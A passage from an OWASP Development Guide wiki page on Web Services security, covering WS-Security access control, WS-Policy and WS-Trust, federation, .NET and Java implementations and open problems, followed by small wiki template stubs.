If a timestamp is included in a message, it is typically signed to prevent tampering and replay attacks. There is no mechanism foreseen to address clock synchronization issue (which, as was already point out earlier, is generally not an issue in modern day systems) – this has to be addressed out-of-band as far as the WSS mechanics is concerned. See the further reading section for a design pattern addressing this issue.

==Access Control Mechanisms ==

When it comes to access control decisions, Web Services do not offer specific protection mechanisms by themselves – they just have the means to carry the tokens and data payloads in a secure manner between source and destination SOAP endpoints.

For more complete description of access control tasks, please, refer to other sections of this Development Guide.

===Identification ===

Identification represents a claim to have certain identity, which is expressed by attaching certain information to the message. This can be a username, an SAML assertion, a Kerberos ticket, or any other piece of information, from which the service can infer who the caller claims to be.

WSS represents a very good way to convey this information, as it defines an extensible mechanism for attaching various token types to a message (see 0). It is the receiver’s job to extract the attached token and figure out which identity it carries, or to reject the message if it can find no acceptable token in it.
[[Category:FIXME|Please check the reference (see 0)]]

===Authentication ===

Authentication can come in two flavors – credentials verification or token validation. The subtle difference between the two is that tokens are issued after some kind of authentication has already happened prior to the current invocation, and they usually contain user’s identity along with the proof of its integrity.

WSS offers support for a number of standard authentication protocols by defining binding mechanism for transmitting protocol-specific tokens and reliably linking them to the sender. However, the mechanics of proof that the caller is who he claims to be is completely at the Web Service’s discretion. Whether it takes the supplied username and password’s hash and checks it against the backend user store, or extracts subject name from the X.509 certificate used for signing the message, verifies the certificate chain and looks up the user in its store – at the moment, there are no requirements or standards which would dictate that it should be done one way or another.

===Authorization ===

XACML may be used for expressing authorization rules, but its usage is not Web Service-specific – it has much broader scope. So, whatever policy or role-based authorization mechanism the host server already has in place will most likely be utilized to protect the deployed Web Services deployed as well.

Depending on the implementation, there may be several layers of authorization involved at the server. For instance, JSRs 224 (JAX-RPC 2.0) and 109 (Implementing Enterprise Web Services), which define Java binding for Web Services, specify implementing Web Services in J2EE containers. This means that when a Web Service is accessed, there will be a URL authorization check executed by the J2EE container, followed by a check at the Web Service layer for the Web Service-specific resource. Granularity of such checks is implementation-specific and is not dictated by any standards. In the Windows universe it happens in a similar fashion, since IIS is going to execute its access checks on the incoming HTTP calls before they reach the ASP.NET runtime, where SOAP message is going to be further decomposed and analyzed.

===Policy Agreement ===

Normally, Web Services’ communication is based on the endpoint’s public interface, defined in its WSDL file. This descriptor has sufficient details to express SOAP binding requirements, but it does not define any security parameters, leaving Web Service developers struggling to find out-of-band mechanisms to determine the endpoint’s security requirements.

To make up for these shortcomings, WS-Policy specification was conceived as a mechanism for expressing complex policy requirements and qualities, sort of WSDL on steroids. Through the published policy SOAP endpoints can advertise their security requirements, and their clients can apply appropriate measures of message protection to construct the requests. The general WS-Policy specification (actually comprised of three separate documents) also has extensions for specific policy types, one of them – for security, WS-SecurityPolicy.

If the requestor does not possess the required tokens, it can try obtaining them via trust mechanism, using WS-Trust-enabled services, which are called to securely exchange various token types for the requested identity.

[[Image: Using Trust Service.gif|Figure 5. Using Trust service]]

Unfortunately, both WS-Policy and WS-Trust specifications have not been submitted for standardization to public bodies, and their development is progressing via private collaboration of several companies, although it was opened up for other participants as well. As a positive factor, there have been several interoperability events conducted for these specifications, so the development process of these critical links in the Web Services’ security infrastructure is not a complete black box.

==Forming Web Service Chains ==

Many existing or planned implementations of SOA or B2B systems rely on dynamic chains of Web Services for accomplishing various business specific tasks, from taking the orders through manufacturing and up to the distribution process.

[[Image:Service Chain.gif|Figure 6: Service chain]]

This is in theory. In practice, there are a lot of obstacles hidden among the way, and one of the major ones among them – security concerns about publicly exposing processing functions to intra- or Internet-based clients.

Here are just a few of the issues that hamper Web Services interaction – incompatible authentication and authorization models for users, amount of trust between services themselves and ways of establishing such trust, maintaining secure connections, and synchronization of user directories or otherwise exchanging users’ attributes. These issues will be briefly tackled in the following paragraphs.

===Incompatible user access control models ===

As explained earlier, in section 0, Web Services themselves do not include separate extensions for access control, relying instead on the existing security framework. What they do provide, however, are mechanisms for discovering and describing security requirements of a SOAP service (via WS-Policy), and for obtaining appropriate security credentials via WS-Trust based services.
[[Category:FIXME|Please check the reference (see 0)]]

===Service trust ===

In order to establish mutual trust between client and service, they have to satisfy each other’s policy requirements. A simple and popular model is mutual certificate authentication via SSL, but it is not scalable for open service models, and supports only one authentication type. Services that require more flexibility have to use pretty much the same access control mechanisms as with users to establish each other’s identities prior to engaging in a conversation.

===Secure connections ===

Once trust is established it would be impractical to require its confirmation on each interaction. Instead, a secure client-server link is formed and maintained the entire time a client’s session is active. Again, the most popular mechanism today for maintaining such link is SSL, but it is not a Web Service-specific mechanism, and it has a number of shortcomings when applied to SOAP communication, as explained in 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Synchronization of user directories ===

This is a very acute problem when dealing with cross-domain applications, as users’ population tends to change frequently among different domains. So, how does a service in domain B decide whether it is going to trust user’s claim that he has been already authenticated in domain A? There exist different aspects of this problem. First – a common SSO mechanism, which implies that a user is known in both domains (through synchronization, or by some other means), and authentication tokens from one domain are acceptable in another. In Web Services world, this would be accomplished by passing around a SAML or Kerberos token for a user.

===Domain federation ===

Another aspect of the problem is when users are not shared across domains, but merely the fact that a user with certain ID has successfully authenticated in another domain, as would be the case with several large corporations, which would like to form a partnership, but would be reluctant to share customers’ details. The decision to accept this request is then based on the inter-domain procedures, establishing special trust relationships and allowing for exchanging such opaque tokens, which would be an example of Federation relationships. Of those efforts, most notable example is Liberty Alliance project, which is now being used as a basis for SAML 2.0 specifications. The work in this area is still far from being completed, and most of the existing deployments are nothing more than POC or internal pilot projects than to real cross-companies deployments, although LA’s website does list some case studies of large-scale projects.

==Available Implementations ==

It is important to realize from the beginning that no security standard by itself is going to provide security to the message exchanges – it is the installed implementations, which will be assessing conformance of the incoming SOAP messages to the applicable standards, as well as appropriately securing the outgoing messages.

===.NET – Web Service Extensions ===

Since new standards are being developed at a rather quick pace, .NET platform is not trying to catch up immediately, but uses Web Service Extensions (WSE) instead. WSE, currently at the version 2.0, adds development and runtime support for the latest Web Service security standards to the platform and development tools, even while they are still “work in progress”. Once standards mature, their support is incorporated into new releases of the .NET platform, which is what is going to happen when .NET 2.0 finally sees the world. The next release of WSE, 3.0, is going to coincide with VS.2005 release and will take advantages of the latest innovations of .NET 2.0 platform in messaging and Web Application areas.

Considering that Microsoft is one of the most active players in the Web Service security area and recognizing its influence in the industry, its WSE implementation is probably one of the most complete and up to date, and it is strongly advisable to run at least a quick interoperability check with WSE-secured .NET Web Service clients. If you have a Java-based Web Service, and the interoperability is a requirement (which is usually the case), in addition to the questions of security testing one needs to keep in mind the basic interoperability between Java and .NET Web Service data structures.

This is especially important since current versions of .NET Web Service tools frequently do not cleanly handle WS-Security’s and related XML schemas as published by OASIS, so some creativity on the part of a Web Service designer is needed. That said – WSE package itself contains very rich and well-structured functionality, which can be utilized both with ASP.NET-based and standalone Web Service clients to check incoming SOAP messages and secure outgoing ones at the infrastructure level, relieving Web Service programmers from knowing these details. Among other things, WSE 2.0 supports the most recent set of WS-Policy and WS-Security profiles, providing for basic message security and WS-Trust with WS-SecureConversation. Those are needed for establishing secure exchanges and sessions - similar to what SSL does at the transport level, but applied to message-based communication.

===Java toolkits ===

Most of the publicly available Java toolkits work at the level of XML security, i.e. XML-dsig and XML-enc – such as IBM’s XML Security Suite and Apache’s XML Security Java project. Java’s JSR 105 and JSR 106 (still not finalized) define Java bindings for signatures and encryption, which will allow plugging the implementations as JCA providers once work on those JSRs is completed.

Moving one level up, to address Web Services themselves, the picture becomes muddier – at the moment, there are many implementations in various stages of incompleteness. For instance, Apache is currently working on the WSS4J project, which is moving rather slowly, and there is commercial software package from Phaos (now owned by Oracle), which suffers from a lot of implementation problems.

A popular choice among Web Service developers today is Sun’s JWSDP, which includes support for Web Service security. However, its support for Web Service security specifications in the version 1.5 is only limited to implementation of the core WSS standard with username and X.509 certificate profiles. Security features are implemented as part of the JAX-RPC framework and configuration-driven, which allows for clean separation from the Web Service’s implementation.

===Hardware, software systems ===

This category includes complete systems, rather than toolkits or frameworks. On one hand, they usually provide rich functionality right off the shelf, on the other hand – its usage model is rigidly constrained by the solution’s architecture and implementation. This is in contrast to the toolkits, which do not provide any services by themselves, but handing system developers necessary tools to include the desired Web Service security features in their products… or to shoot themselves in the foot by applying them inappropriately.

These systems can be used at the infrastructure layer to verify incoming messages against the effective policy, check signatures, tokens, etc, before passing them on to the target Web Service. When applied to the outgoing SOAP messages, they act as a proxy, now altering the messages to decorate with the required security elements, sign and/or encrypt them.

Software systems are characterized by significant configuration flexibility, but comparatively slow processing. On the bright side, they often provide high level of integration with the existing enterprise infrastructure, relying on the back-end user and policy stores to look at the credentials, extracted from the WSS header, from the broader perspective. An example of such service is TransactionMinder from the former Netegrity – a Policy Enforcement Point for Web Services behind it, layered on top of the Policy Server, which makes policy decisions by checking the extracted credentials against the configured stores and policies.

For hardware systems, performance is the key – they have already broken gigabyte processing threshold, and allow for real-time processing of huge documents, decorated according to the variety of the latest Web Service security standards, not only WSS. The usage simplicity is another attractive point of those systems - in the most trivial cases, the hardware box may be literally dropped in, plugged, and be used right away. These qualities come with a price, however – this performance and simplicity can be achieved as long as the user stays within the pre-configured confines of the hardware box. The moment he tries to integrate with the back-end stores via callbacks (for those solutions that have this capability, since not all of them do), most of the advantages are lost. As an example of such hardware device, Layer 7 Technologies provides a scalable SecureSpan Networking Gateway, which acts both as the inbound firewall and the outbound proxy to handle XML traffic in real time.

==Problems ==

As is probably clear from the previous sections, Web Services are still experiencing a lot of turbulence, and it will take a while before they can really catch on. Here is a brief look at what problems surround currently existing security standards and their implementations.

===Immaturity of the standards ===

Most of the standards are either very recent (couple years old at most), or still being developed. Although standards development is done in committees, which, presumably, reduces risks by going through an exhaustive reviewing and commenting process, some error scenarios still slip in periodically, as no theory can possibly match the testing resulting from pounding by thousands of developers working in the real field.

Additionally, it does not help that for political reasons some of these standards are withheld from public process, which is the case with many standards from the WSA arena (see 0), or that some of the efforts are duplicated, as was the case with LA and WS-Federation specifications.
[[Category:FIXME|Please check the reference (see 0)]]

===Performance ===

XML parsing is a slow task, which is an accepted reality, and SOAP processing slows it down even more. Now, with expensive cryptographic and textual conversion operations thrown into the mix, these tasks become a performance bottleneck, even with the latest crypto- and XML-processing hardware solutions offered today. All of the products currently on the market are facing this issue, and they are trying to resolve it with varying degrees of success.

Hardware solutions, while substantially (by orders of magnitude) improving the performance, cannot always be used as an optimal solution, as they cannot be easily integrated with the already existing back-end software infrastructure, at least – not without making performance sacrifices. Another consideration whether hardware-based systems are the right solution – they are usually highly specialized in what they are doing, while modern Application Servers and security frameworks can usually offer a much greater variety of protection mechanisms, protecting not only Web Services, but also other deployed applications in a uniform and consistent way.

===Complexity and interoperability ===

As could be deduced from the previous sections, Web Service security standards are fairly complex, and have very steep learning curve associated with them. Most of the current products, dealing with Web Service security, suffer from very mediocre usability due to the complexity of the underlying infrastructure. Configuring all different policies, identities, keys, and protocols takes a lot of time and good understanding of the involved technologies, as most of the times errors that end users are seeing have very cryptic and misleading descriptions.

In order to help administrators and reduce security risks from service misconfigurations, many companies develop policy templates, which group together best practices for protecting incoming and outgoing SOAP messages. Unfortunately, this work is not currently on the radar of any of the standard’s bodies, so it appears unlikely that such templates will be released for public use any time soon. Closest to this effort may be WS-I’s Basic Security Profile (BSP), which tries to define the rules for better interoperability among Web Services, using a subset of common security features from various security standards like WSS. However, this work is not aimed at supplying the administrators with ready for deployment security templates matching the most popular business use cases, but rather at establishing the least common denominator.

===Key management ===

Key management usually lies at the foundation of any other security activity, as most protection mechanisms rely on cryptographic keys one way or another. While Web Services have XKMS protocol for key distribution, local key management still presents a huge challenge in most cases, since PKI mechanism has a lot of well-documented deployment and usability issues. Those systems that opt to use homegrown mechanisms for key management run significant risks in many cases, since questions of storing, updating, and recovering secret and private keys more often than not are not adequately addressed in such solutions.

==Further Reading ==

* SearchSOA, SOA needs practical operational governance, Toufic Boubez

http://searchsoa.techtarget.com/news/interview/0,289202,sid26_gci1288649,00.html?track=NL-110&ad=618937&asrc=EM_NLN_2827289&uid=4724698

* Whitepaper: Securing XML Web Services: XML Firewalls and XML VPNs

http://layer7tech.com/new/library/custompage.html?id=4

* eBizQ, The Challenges of SOA Security, Peter Schooff

http://www.ebizq.net/blogs/news_security/2008/01/the_complexity_of_soa_security.php

* Piliptchouk, D., WS-Security in the Enterprise, O’Reilly ONJava

http://www.onjava.com/pub/a/onjava/2005/02/09/wssecurity.html

http://www.onjava.com/pub/a/onjava/2005/03/30/wssecurity2.html

* WS-Security OASIS site

http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=wss

* Microsoft, ''What’s new with WSE 3.0''

http://msdn.microsoft.com/webservices/webservices/building/wse/default.aspx?pull=/library/en-us/dnwse/html/newwse3.asp

* Eoin Keary, Preventing DOS attacks on web services

https://www.threatsandcountermeasures.com/wiki/default.aspx/ThreatsAndCountermeasuresCommunityKB.PreventingDOSAttacksOnWebServices
[[category:FIXME | broken link]] 

==Reference==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Web Services]]

Template:Countermeasure

2009-04-24T12:05:37Z

KirstenS:

__NOTOC__
This is a countermeasure. To view all countermeasures, please see the [[:Category:Countermeasure|Countermeasure Category]] page.

[[Category:Countermeasure]]

Template:SecureSoftware

2009-04-24T12:02:38Z

KirstenS:

__NOTOC__